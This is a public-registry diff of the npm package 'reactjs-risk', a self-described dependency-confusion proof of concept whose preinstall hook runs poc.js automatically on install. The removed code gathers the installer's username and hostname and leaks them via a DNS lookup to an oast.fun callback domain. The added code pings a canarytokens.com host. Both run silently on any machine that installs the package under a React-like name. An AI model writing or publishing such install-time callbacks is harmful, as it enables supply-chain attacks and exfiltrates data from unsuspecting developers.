reactjs-risk 99.9.9 → 99.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +2 -2
  2. package/poc.js +4 -15
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "reactjs-risk",
3
- "version": "99.9.9",
4
- "description": "Dependency Confusion PoC",
3
+ "version": "99.12.0",
4
+ "description": "Dependency Confusion Educational PoC",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "preinstall": "node poc.js"
package/poc.js CHANGED
@@ -1,18 +1,7 @@
1
- const dns = require('dns');
2
- const os = require('os');
1
+ const https = require('https');
3
2
 
4
- const hostname = os.hostname();
5
- const username = os.userInfo().username;
6
-
7
- // الرابط المخصص لك بناءً على المعطيات
8
- const trackingDomain = "rwctgvchjoclsfbudubxiz3kr5vehkbum.oast.fun";
9
- const payload = `${username}.${hostname}.${trackingDomain}`.replace(/[^a-zA-Z0-9.-]/g, '_');
10
-
11
- dns.lookup(payload, (err) => {
12
- if (err) {
13
- console.log("[PoC] Connection blocked or error: " + err.message);
14
- } else {
15
- console.log("[PoC] DNS Ping-back sent to: " + payload);
16
- }
3
+ https.get('srikgkxksgzu6kif36cq6rwp0.canarytokens.com', (res) => {
4
+
5
+ }).on('error', (e) => {
17
6
  });
18
7